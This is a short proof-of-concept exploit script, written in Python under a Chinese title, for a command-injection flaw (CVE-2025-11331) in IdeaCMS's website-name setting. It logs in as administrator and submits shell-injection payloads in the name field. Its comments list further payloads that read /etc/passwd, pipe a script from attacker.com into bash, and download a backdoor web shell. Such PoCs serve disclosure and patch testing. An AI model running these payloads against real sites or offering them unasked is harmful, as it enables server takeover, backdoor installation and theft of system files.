CVE-2025-11331：IdeaCMS 网站名称处理器命令注入漏洞

# CVE-2025-11331 PoC - IdeaCMS Website Name Command Injection # Vulnerable file: app/common/logic/admin/Config.php # Component: Website Name Handler import requests # Target configuration TARGET_URL = "http://target-site.com" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "password123" # Step 1: Login as administrator (high privilege required) session = requests.Session() login_url = f"{TARGET_URL}/admin/login" login_data = { "username": ADMIN_USERNAME, "password": ADMIN_PASSWORD } session.post(login_url, data=login_data) # Step 2: Navigate to config page and inject command via website name config_url = f"{TARGET_URL}/admin/config" # Malicious website name with command injection payload # The injected command will be executed on the server malicious_name = "; id; #" # Execute 'id' command to verify injection # Alternatively use backticks or $() syntax # malicious_name = "$(id)" # malicious_name = "`id`" config_data = { "website_name": malicious_name, # Other configuration parameters... } # Step 3: Submit the malicious configuration response = session.post(config_url, data=config_data) if response.status_code == 200: print("[*] Command injection payload submitted successfully") print("[*] Check server response for command execution output") else: print(f"[-] Request failed with status code: {response.status_code}") # More dangerous payloads for full exploitation: # malicious_name = "; cat /etc/passwd > /tmp/pwned.txt; #" # malicious_name = "$(curl http://attacker.com/shell.sh | bash)" # malicious_name = "`wget http://attacker.com/backdoor -O /var/www/html/shell.php`"